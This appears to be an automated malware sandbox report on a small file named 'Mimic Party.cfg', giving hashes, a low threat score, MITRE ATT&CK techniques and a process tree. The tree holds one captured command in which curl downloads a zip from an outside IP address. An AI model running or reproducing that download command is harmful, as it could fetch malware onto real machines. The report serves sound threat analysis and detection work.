f31441466c1b87a424a7ce427004deb415c6656e22b8b3bd1904ca3539d58caa

Analysis

user interaction
yes
max time kernel
188s
max time network
189s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/10/2026, 17:07

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General

Target
Mimic Party.cfg
Size 28B
Sample261020-vncyjsty4k
SHA256 f31441466c1b87a424a7ce427004deb415c6656e22b8b3bd1904ca3539d58caa
MD5 3e268967d5e71c4b688e7875a87df8d0
SHA1 6d481c917c9aa89c40be3bca564d9160df8e7efb
SHA512 75ea9c2ec33dd35e5ba36131c6333d4c1a148aaa9bd1d55b03249f9e39c55d14575db2d56edb8986fa9082cd5a57ccf1524cda3fcd0617956f1854230cba615a
MD5 SHA1 SHA512

Score

3^/10

execution

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3780	cmd.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1380	powershell.exe
1380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1380	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4420	OpenWith.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1380 wrote to memory of 4636	1380	powershell.exe	93
PID 4636 wrote to memory of 3216	4636	cmd.exe	94

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	1	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Mimic Party.cfg"
1⤵
- Executes a command shell one-liner
- Modifies registry class
PID:3780

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1380
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\system32\curl.exe
    curl http://51.222.11.233/mmp.zip --output a.zip
    3⤵
    PID:3216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1380-5-0x0000022A27400000-0x0000022A27422000-memory.dmp

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memory/1380-6-0x0000022A277D0000-0x0000022A27818000-memory.dmp

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